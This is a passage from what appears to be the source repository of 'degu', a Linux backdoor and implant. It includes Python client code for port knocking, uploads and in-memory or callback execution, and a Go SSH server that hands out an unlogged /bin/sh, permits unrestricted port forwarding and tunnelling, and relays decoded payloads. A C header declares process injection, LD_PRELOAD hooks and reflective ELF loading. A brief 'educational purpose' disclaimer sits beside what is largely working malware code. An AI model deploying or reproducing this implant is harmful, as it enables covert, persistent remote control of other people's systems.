f.write(fil) 155 | f.close() 156 | d.log.info("write %i bytes on %s "%(len(fil),args[''])) 157 | except Exception as e: 158 | d.log.error("unable to create %s : %s" % (args[''],e)) 159 | del d 160 | 161 | if args['upload']: 162 | if args['bind']: 163 | d = degu.degu(args[''],priv = PRIVATE_KEY) 164 | if not d.knock( ':' + args['']): 165 | log.error("knock failed") 166 | sys.exit() 167 | time.sleep(2) # waiting for port to come up on degu 168 | try: 169 | fil = d.upload( args[''], args[''] ) 170 | d.log.info("uploaded %s on %s:%s"%(args[''],args[''],args[''])) 171 | except Exception as e: 172 | d.log.error("unable to upload %s : %s" % (args[''],e)) 173 | 174 | if args['cb']: 175 | d = degu.degu(args[''],priv = PRIVATE_KEY) 176 | pool = ThreadPool(processes=1) 177 | async_result = pool.apply_async(d.rupload, (args[''], args[''],args[''])) 178 | if not d.knock( '%s:%s' % ( args[''] , args[''])): 179 | log.error("knock failed") 180 | sys.exit() 181 | 182 | a = None 183 | try: 184 | a = async_result.get() 185 | d.log.info("uploaded %s on %s:%s"%(args[''],args[''],args[''])) 186 | except TimeoutError as e: 187 | log.error(f"timeout reached : {e}") 188 | 189 | if args['exe']: 190 | if args['bind']: 191 | d = degu.degu(args[''],priv = PRIVATE_KEY) 192 | if not d.knock( ':' + args['']): 193 | log.error("knock failed") 194 | sys.exit() 195 | time.sleep(2) # waiting for port to come up on degu 196 | try: 197 | d.mem_exec(args[''],args['']) 198 | d.log.info("launch exe %s on %s"%(args[''],args[''])) 199 | except Exception as e: 200 | d.log.error("unable to upload %s : %s" % (args[''],e)) 201 | del d 202 | if args["cb"]: 203 | d = degu.degu(args[''],priv = PRIVATE_KEY) 204 | pool = ThreadPool(processes=1) 205 | async_result = pool.apply_async(d.rmem_exec, (args[''],args[''],args[''])) 206 | if not d.knock( '%s:%s' % ( args[''] , args[''])): 207 | log.error("knock failed") 208 | sys.exit() 209 | a = None 210 | try: 211 | a = async_result.get() 212 | except TimeoutError as e: 213 | log.error(f"timeout reached : {e}") 214 | if a : 215 | print(a.decode("ascii")) 216 | 217 | if args['ghost']: 218 | d = degu.degu(args[''],priv = PRIVATE_KEY) 219 | d.ghost_exec(args['']) 220 | 221 | if args['keygen']: 222 | print(degu.degu.keygen()) 223 | 224 | if args['getpub']: 225 | degu.degu.getpub() 226 | -------------------------------------------------------------------------------- /degu-client/helpers/ssh/degussh.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "embed" 5 | "errors" 6 | "io/fs" 7 | "net" 8 | "os" 9 | "sync" 10 | 11 | "github.com/gliderlabs/ssh" 12 | gossh "golang.org/x/crypto/ssh" 13 | ) 14 | 15 | //go:embed keys/hostkey keys/keydegussh.pub 16 | var embeddedKeys embed.FS 17 | 18 | var ee = []string{ 19 | "TERM=xterm", 20 | "HISTFILE=/dev/null", 21 | "history=/dev/null", 22 | "HOME=/dev/shm/", 23 | "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"} 24 | 25 | type StdinListener struct { 26 | connectionOnce sync.Once 27 | closeOnce sync.Once 28 | connChan chan net.Conn 29 | } 30 | 31 | func NewStdinListener() net.Listener { 32 | listener := new(StdinListener) 33 | listener.connChan = make(chan net.Conn, 1) 34 | return listener 35 | } 36 | 37 | type stdinConn struct { 38 | net.Conn 39 | listener net.Listener 40 | } 41 | 42 | func (c stdinConn) Close() (err error) { 43 | err = c.Conn.Close() 44 | c.listener.Close() 45 | return err 46 | } 47 | 48 | func (listener *StdinListener) Accept() (net.Conn, error) { 49 | listener.connectionOnce.Do(func() { 50 | conn, err := net.FileConn(os.Stdin) 51 | if err == nil { 52 | listener.connChan <- stdinConn{Conn: conn, listener: listener} 53 | os.Stdin.Close() 54 | } else { 55 | listener.Close() 56 | } 57 | }) 58 | conn, ok := <-listener.connChan 59 | if ok { 60 | return conn, nil 61 | } else { 62 | return nil, errors.New("Closed") 63 | } 64 | } 65 | 66 | func (listener *StdinListener) Close() error { 67 | listener.closeOnce.Do(func() { close(listener.connChan) }) 68 | return nil 69 | } 70 | 71 | func (listener *StdinListener) Addr() net.Addr { 72 | return nil 73 | } 74 | 75 | func main() { 76 | 77 | var forwardHandler = &ssh.ForwardedTCPHandler{} 78 | 79 | hostKeyBytes, err := fs.ReadFile(embeddedKeys, "keys/hostkey") 80 | 81 | if err != nil { 82 | os.Exit(-1) 83 | } 84 | 85 | hostKey, err := gossh.ParsePrivateKey(hostKeyBytes) 86 | 87 | if err != nil { 88 | os.Exit(-1) 89 | } 90 | 91 | var server = &ssh.Server{ 92 | 93 | PublicKeyHandler: pubKeyAuth, 94 | HostSigners: []ssh.Signer{hostKey}, 95 | 96 | Handler: execHandler("/bin/sh"), 97 | LocalPortForwardingCallback: LCallback(), 98 | ReversePortForwardingCallback: RCallback(), 99 | SessionRequestCallback: AnyCallback(), 100 | 101 | ChannelHandlers: map[string]ssh.ChannelHandler{ 102 | "direct-tcpip": ssh.DirectTCPIPHandler, 103 | "session": ssh.DefaultSessionHandler, 104 | "tun@openssh.com": VPNHandler, 105 | }, 106 | 107 | RequestHandlers: map[string]ssh.RequestHandler{ 108 | "tcpip-forward": forwardHandler.HandleSSHRequest, 109 | "cancel-tcpip-forward": forwardHandler.HandleSSHRequest, 110 | }, 111 | SubsystemHandlers: map[string]ssh.SubsystemHandler{ 112 | "sftp": sftpHandler, 113 | "knock": knockHandler, 114 | }, 115 | } 116 | server.Serve(NewStdinListener()) 117 | } 118 | -------------------------------------------------------------------------------- /degu-client/helpers/ssh/go.mod: -------------------------------------------------------------------------------- 1 | module degussh 2 | 3 | go 1.23.1 4 | 5 | toolchain go1.24.1 6 | 7 | require ( 8 | github.com/creack/pty v1.1.21 9 | github.com/gliderlabs/ssh v0.3.6 10 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048 11 | github.com/pkg/sftp v1.13.6 12 | github.com/prometheus-community/pro-bing v0.6.1 13 | golang.org/x/crypto v0.32.0 14 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20 15 | ) 16 | 17 | require ( 18 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be // indirect 19 | github.com/google/btree v1.1.2 // indirect 20 | github.com/google/uuid v1.6.0 // indirect 21 | github.com/kr/fs v0.1.0 // indirect 22 | golang.org/x/net v0.34.0 // indirect 23 | golang.org/x/sync v0.10.0 // indirect 24 | golang.org/x/sys v0.29.0 // indirect 25 | golang.org/x/time v0.7.0 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /degu-client/helpers/ssh/go.sum: -------------------------------------------------------------------------------- 1 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= 2 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= 3 | github.com/armon/go-proxyproto v0.0.0-20210323213023-7e956b284f0a/go.mod h1:QmP9hvJ91BbJmGVGSbutW19IC0Q9phDCLGaomwTJbgU= 4 | github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= 5 | github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/gliderlabs/ssh v0.3.6 h1:ZzjlDa05TcFRICb3anf/dSPN3ewz1Zx6CMLPWgkm3b8= 10 | github.com/gliderlabs/ssh v0.3.6/go.mod h1:zpHEXBstFnQYtGnB8k8kQLol82umzn/2/snG7alWVD8= 11 | github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU= 12 | github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= 13 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 14 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 15 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048 h1:jaqViOFFlZtkAwqvwZN+id37fosQqR5l3Oki9Dk4hz8= 16 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048/go.mod h1:Di7LXRyUcnvAcLicFhtM9/MlZl/TNgRSDHORM2c6CMI= 17 | github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= 18 | github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= 19 | github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo= 20 | github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk= 21 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 22 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 23 | github.com/prometheus-community/pro-bing v0.6.1 h1:EQukUOma9YFZRPe4DGSscxUf9LH07rpqwisNWjSZrgU= 24 | github.com/prometheus-community/pro-bing v0.6.1/go.mod h1:jNCOI3D7pmTCeaoF41cNS6uaxeFY/Gmc3ffwbuJVzAQ= 25 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 26 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 27 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 28 | github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= 29 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 30 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 31 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 32 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 33 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= 34 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 35 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 36 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 37 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 38 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 39 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 40 | golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= 41 | golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= 42 | golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= 43 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 44 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 45 | golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= 46 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 47 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 48 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 49 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 50 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 51 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 52 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 53 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 54 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 55 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 56 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 57 | golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 58 | golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg= 59 | golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek= 60 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 61 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 62 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 63 | golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 64 | golang.org/x/time v0.7.0 h1:ntUhktv3OPE6TgYxXWv9vKvUSJyIFJlyohwbkEwPrKQ= 65 | golang.org/x/time v0.7.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= 66 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 67 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 68 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 69 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 70 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 71 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 72 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 73 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 74 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20 h1:ERER+VLrwFBdgodM25OQhVVdlLU9F6IIWXs6TWgTrPY= 75 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20/go.mod h1:5DMfjtclAbTIjbXqO1qCe2K5GKKxWz2JHvCChuTcJEM= 76 | -------------------------------------------------------------------------------- /degu-client/helpers/ssh/handlers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "encoding/base64" 7 | "encoding/json" 8 | "fmt" 9 | "io" 10 | "io/fs" 11 | "net" 12 | "os/exec" 13 | "strings" 14 | 15 | "github.com/creack/pty" 16 | "github.com/gliderlabs/ssh" 17 | "github.com/pkg/sftp" 18 | gossh "golang.org/x/crypto/ssh" 19 | ) 20 | 21 | func sftpHandler(s ssh.Session) { 22 | server, err := sftp.NewServer(s) 23 | if err != nil { 24 | return 25 | } 26 | if err := server.Serve(); err == io.EOF { 27 | server.Close() 28 | } 29 | } 30 | func knockHandler(s ssh.Session) { 31 | 32 | dataRaw, err := io.ReadAll(s) 33 | if err != nil { 34 | fmt.Fprintf(s.Stderr(), "error reading: %v\n", err) 35 | s.Exit(1) 36 | return 37 | } 38 | data := strings.ReplaceAll(string(dataRaw), "'", "\"") 39 | 40 | var payload struct { 41 | B64 string `json:"b64"` 42 | Port int `json:"p"` 43 | Host interface{} `json:"host"` 44 | } 45 | 46 | if err := json.Unmarshal([]byte(data), &payload); err != nil { 47 | fmt.Fprintf(s.Stderr(), "error parsing json: %v\n", err) 48 | s.Exit(1) 49 | return 50 | } 51 | 52 | var hostStr string 53 | switch h := payload.Host.(type) { 54 | case string: 55 | hostStr = h 56 | case float64: 57 | hostStr = fmt.Sprintf("%g", h) 58 | default: 59 | fmt.Fprintf(s.Stderr(), "host error\n") 60 | s.Exit(1) 61 | return 62 | } 63 | 64 | decodedData, err := base64.StdEncoding.DecodeString(payload.B64) 65 | if err != nil { 66 | fmt.Fprintf(s.Stderr(), "error decoding base64: %v\n", err) 67 | s.Exit(1) 68 | return 69 | } 70 | 71 | reader, err := gzip.NewReader(bytes.NewReader(decodedData)) 72 | if err != nil { 73 | fmt.Fprintf(s.Stderr(), "error gzip deflate: %v\n", err) 74 | s.Exit(1) 75 | return 76 | } 77 | defer reader.Close() 78 | 79 | uncompressedData, err := io.ReadAll(reader) 80 | if err != nil { 81 | fmt.Fprintf(s.Stderr(), "error: %v\n", err) 82 | s.Exit(1) 83 | return 84 | } 85 | 86 | addr := fmt.Sprintf("%s:%d", hostStr, payload.Port) 87 | conn, err := net.Dial("udp", addr) 88 | if err != nil { 89 | fmt.Fprintf(s.Stderr(), "error UDP connect: %v\n", err) 90 | s.Exit(1) 91 | return 92 | } 93 | defer conn.Close() 94 | 95 | _, err = conn.Write(uncompressedData) 96 | if err != nil { 97 | fmt.Fprintf(s.Stderr(), "error UDP send: %v\n", err) 98 | s.Exit(1) 99 | return 100 | } 101 | 102 | fmt.Fprintf(s, "knock ok %s\n", addr) 103 | s.Exit(0) 104 | } 105 | 106 | func LCallback() ssh.LocalPortForwardingCallback { 107 | return func(ctx ssh.Context, dhost string, dport uint32) bool { 108 | return true 109 | } 110 | } 111 | func RCallback() ssh.ReversePortForwardingCallback { 112 | return func(ctx ssh.Context, host string, port uint32) bool { 113 | return true 114 | } 115 | } 116 | 117 | func AnyCallback() ssh.SessionRequestCallback { 118 | return func(sess ssh.Session, requestType string) bool { 119 | return true 120 | } 121 | } 122 | 123 | func VPNHandler(srv *ssh.Server, conn *gossh.ServerConn, newChan gossh.NewChannel, ctx ssh.Context) { 124 | Tun(newChan) 125 | } 126 | 127 | func pubKeyAuth(ctx ssh.Context, key ssh.PublicKey) bool { 128 | 129 | authorizedKeysBytes, err := fs.ReadFile(embeddedKeys, "keys/keydegussh.pub") 130 | if err != nil { 131 | return false 132 | } 133 | publicKey, _, _, _, err := gossh.ParseAuthorizedKey(authorizedKeysBytes) 134 | if err != nil { 135 | return false 136 | } 137 | if bytes.Equal(key.Marshal(), publicKey.Marshal()) { 138 | return true 139 | } 140 | 141 | return false 142 | } 143 | 144 | func execHandler(shell string) ssh.Handler { 145 | 146 | return func(s ssh.Session) { 147 | _, _, ispty := s.Pty() 148 | switch { 149 | 150 | case ispty: 151 | 152 | var _, winCh, _ = s.Pty() 153 | var cmd = exec.CommandContext(s.Context(), shell) 154 | cmd.Env = ee 155 | f, err := pty.Start(cmd) 156 | if err != nil { 157 | return 158 | } 159 | 160 | go func() { 161 | for win := range winCh { 162 | winSize := &pty.Winsize{Rows: uint16(win.Height), Cols: uint16(win.Width)} 163 | pty.Setsize(f, winSize) 164 | } 165 | }() 166 | 167 | go func() { 168 | io.Copy(f, s) 169 | s.Close() 170 | }() 171 | 172 | go func() { 173 | io.Copy(s, f) 174 | s.Close() 175 | }() 176 | done := make(chan error, 1) 177 | go func() { done <- cmd.Wait() }() 178 | 179 | select { 180 | case err := <-done: 181 | if err != nil { 182 | s.Exit(255) 183 | return 184 | } 185 | s.Exit(cmd.ProcessState.ExitCode()) 186 | return 187 | 188 | case <-s.Context().Done(): 189 | return 190 | } 191 | 192 | case len(s.Command()) > 0: 193 | fullCmd := strings.Join(s.Command(), " ") 194 | cmd := exec.CommandContext(s.Context(), shell, "-c", fullCmd) 195 | 196 | cmd.Stdin = s 197 | //cmd.Stdin = nil 198 | cmd.Stdout = s 199 | cmd.Stderr = s 200 | cmd.Env = ee 201 | 202 | if err := cmd.Start(); err != nil { 203 | fmt.Fprintf(s, "error launch: %v\n", err) 204 | s.Exit(255) 205 | return 206 | } 207 | 208 | if err := cmd.Wait(); err != nil { 209 | fmt.Fprintf(s, "error exec: %v\n", err) 210 | s.Exit(255) 211 | return 212 | } 213 | s.Exit(cmd.ProcessState.ExitCode()) 214 | 215 | default: 216 | <-s.Context().Done() 217 | return 218 | } 219 | } 220 | } 221 | -------------------------------------------------------------------------------- /degu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/io-tl/degu-lib/f54dfffe07973dc8312e23a0b7ee0feb15ce30a8/degu.png -------------------------------------------------------------------------------- /degu/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS += -I. -I.. -I../crypto -I ../injector/include 2 | 3 | SRC=$(wildcard *.c) 4 | OBJS=$(SRC:.c=.o) 5 | BIN=degu.pie 6 | all: degu 7 | 8 | degu: $(OBJS) 9 | @$(CC) $(LDFLAGS) $(OBJS) -pie -o ../$(BIN) ../crypto/degucrypto.a ../injector/src/linux/libinjector.a ../ulexec/ulexe.a 10 | 11 | %.o : %.c 12 | @echo CC $< 13 | @$(CC) $(CFLAGS) -c $< 14 | 15 | clean: 16 | @$(RM) -f *.o 17 | 18 | 19 | -------------------------------------------------------------------------------- /degu/degu.h: -------------------------------------------------------------------------------- 1 | #include "keys.h" 2 | 3 | void trace(const char* format, ...); 4 | void hexdump(const char* header, const void* data, size_t size); 5 | 6 | #ifdef PROD 7 | #define TRACE (void)sizeof 8 | #define HEXDUMP (void)sizeof 9 | #define DEGU_FUNC_EXPORT __attribute__ ((visibility ("default"))) 10 | #define DEGU_FUNC_INIT __attribute__((constructor)) 11 | #else 12 | #define TRACE( fmt , args... ) trace("\033[1;36m%-18s\033[0;33m%-18s\033[0;32m#%d \t\033[0m" fmt , __FILE__ , __FUNCTION__ , __LINE__ , ##args ); 13 | #define HEXDUMP( header, data , len ) hexdump( header, data , len ) 14 | #define DEGU_FUNC_EXPORT __attribute__ ((visibility ("default"))) 15 | #define DEGU_FUNC_INIT __attribute__((constructor,visibility ("default"))) 16 | #endif 17 | 18 | #define PKTLEN_TRIGG 0x00000400 19 | #define STRIPUDP 42 20 | #define LIB_BYPASS "_LC" // flag to unload raw sock and alarm when used by python 21 | #define PRELOAD "LD_PRELOAD" 22 | #define PORT "PORT" 23 | #define WAKE 2 // timer sigalarm 24 | #define TIMEOUT 10 // timeout for network operations 25 | 26 | #define DEGU_EXE_MEMFD ">" // magic tiny degu header for upload 29 | #define DEGU_DL "Oo<<" // magic tiny degu header for download 30 | #define DEGU_GHOST_MAX_CMD 1300 // max bytes for cmd 31 | 32 | extern unsigned char bot_public_key[32]; 33 | extern unsigned char bot_private_key[64]; 34 | extern unsigned char knock_key[32]; 35 | extern unsigned char public_key[32]; 36 | 37 | //ulexec 38 | int reflect_execv(unsigned char *elf, char **argv, size_t binsize); 39 | 40 | //crypto 41 | int verify_buffer(unsigned char *data,size_t len); 42 | unsigned int xvrfy(const unsigned char* signature, const unsigned char* message, size_t message_len); 43 | void xdata(uint8_t *key, unsigned char* data, ssize_t len); 44 | void ed25519_getpub(unsigned char *public_key, unsigned char *private_key); 45 | void ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key); 46 | void setup_keys(void); 47 | 48 | //inject 49 | int inject(int pid,char *dso); 50 | 51 | // degu operations 52 | int knock(unsigned char* data,size_t len); 53 | void knock_handle_exe(int sock,unsigned char *header,unsigned char *secret); 54 | void knock_handle_up(int sock,unsigned char *header,unsigned char *secret); 55 | void knock_handle_dl(int sock,unsigned char *header,unsigned char *secret); 56 | void knock_ghost_exe( unsigned char * cmd, size_t len ); 57 | 58 | // lib 59 | DEGU_FUNC_EXPORT void xnock(unsigned char* data, ssize_t len); 60 | DEGU_FUNC_EXPORT int xbuf(unsigned char *destkey,unsigned char *privkey, unsigned char *data, size_t len); 61 | DEGU_FUNC_EXPORT void xpub(unsigned char *destkey,unsigned char *privkey); 62 | DEGU_FUNC_EXPORT void xsig(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key); 63 | DEGU_FUNC_EXPORT void keygen(char* path); 64 | 65 | // start 66 | DEGU_FUNC_INIT void degu(); // lib entry point 67 | 68 | //user 69 | void sig_alrm(int signum); 70 | void parasite(int port, int clean); 71 | void usereffort(int port,char *bin); -------------------------------------------------------------------------------- /degu/degu.txt: -------------------------------------------------------------------------------- 1 | THIS IS JUST FOR EDUCATIONAL PURPOSE, USE EXCLUSIVELY ON YOUR OWN COMPUTER. 2 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 3 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 4 | ░░░░░░░░▄███████▄░░░░░░░░░░░░░░░░░░░░░ 5 | ░░░░░░▄██░░░▄▄░▀█░░░░░░░░░░░░░░░░░░░░░ 6 | ░░░░░░██░░░███░░█▄█████▄░░░░░░░░░░░░░░ 7 | ░░░░░░██▄░░▀▀░░░██▀▄▄░██░░▄▄▄▄▄░░░░░░░ 8 | ░░░░░░░▀██▄▄▄▄▄██░▀▀▀▄██▄██▀▀▀███▄░░░░ 9 | ░▄▀▄░░░▄▄███████▄▄▄███▀▀░░░░░░░▀██▄░░░ 10 | ░░▀▄▀▄█▀▀▄▄▄░░░░▀▀▀▀░░░░░░░░░░░░░▀█▄░░ 11 | ░░░░█▀░░░█▄█░░░░░░░░░░░▄▄▄▄▄░░░░░░██░░ 12 | ░░░█▀░░░░░░░░░░░░░░░░▄██▀▀▀▀██▄░░░██░░ 13 | ░░█▀░░▄▄█▄▄▄▄▄▄▄▄░░░██▀░░░░░░░▀░░░██▄░ 14 | ░░░▀▀▀▀█▀▄▀▀▀▀▀██▄█▄██░░░░░░░░░▄▄████░ 15 | ░░░░░░░░▀▄▀░▀█▀██▀▀░▀█▄▄▄██░░░▄███▀██░ 16 | ░░░░░░░░░░░░░░▀▀░░░░░░█▀▀░░░▄██▀▀░░██░ 17 | ░░░░░░░░░░░░░░░░░░░▄█▀█████▀▀▀░░░░▄██░ 18 | ░░░░░░░░░░░░░░░░░░░░▀▀█░░░░░░░░░░▄██░░ 19 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄██▀░░░ 20 | ░░░░░░░░░░░░░░░░░▄█████████████▀▀░░░░░ 21 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 22 | -------------------------------------------------------------------------------- /degu/inject.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "degu.h" 22 